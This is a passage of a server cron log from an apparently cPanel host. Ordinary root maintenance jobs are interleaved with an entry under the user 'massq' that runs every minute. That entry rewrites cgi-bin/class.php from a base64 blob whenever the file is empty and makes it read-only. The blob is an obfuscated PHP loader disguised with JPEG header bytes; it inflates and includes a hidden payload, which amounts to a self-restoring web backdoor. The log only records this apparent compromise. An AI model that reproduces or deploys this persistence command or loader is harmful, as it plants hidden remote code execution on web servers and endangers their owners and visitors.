6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:34:01 server CROND[9710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:34:01 server CROND[9711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:34:01 server CROND[9712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:35:01 server CROND[10118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:35:01 server CROND[10120]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 00:35:01 server CROND[10121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:35:01 server CROND[10124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:35:01 server CROND[10122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:35:01 server CROND[10128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:35:01 server CROND[10126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:35:01 server CROND[10129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:35:01 server CROND[10131]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:36:01 server CROND[10982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:36:01 server CROND[10983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:36:01 server CROND[10984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:37:01 server CROND[11355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:37:01 server CROND[11356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:37:01 server CROND[11357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:38:02 server CROND[11738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:38:02 server CROND[11739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:38:02 server CROND[11740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:39:01 server CROND[12212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:39:01 server CROND[12211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:39:01 server CROND[12213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:39:01 server CROND[12214]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 00:40:01 server CROND[12645]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:40:01 server CROND[12649]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:40:01 server CROND[12652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:40:01 server CROND[12654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:40:01 server CROND[12656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:40:01 server CROND[12655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:40:01 server CROND[12658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:40:01 server CROND[12659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:41:01 server CROND[13504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:41:01 server CROND[13505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:41:01 server CROND[13506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:42:01 server CROND[13945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:42:01 server CROND[13946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:42:01 server CROND[13947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:42:01 server CROND[13948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:43:01 server CROND[14323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:43:01 server CROND[14324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:43:01 server CROND[14325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:44:01 server CROND[14707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:44:01 server CROND[14708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:44:01 server CROND[14709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:45:01 server CROND[15201]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:45:01 server CROND[15205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:45:01 server CROND[15213]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:45:01 server CROND[15212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmox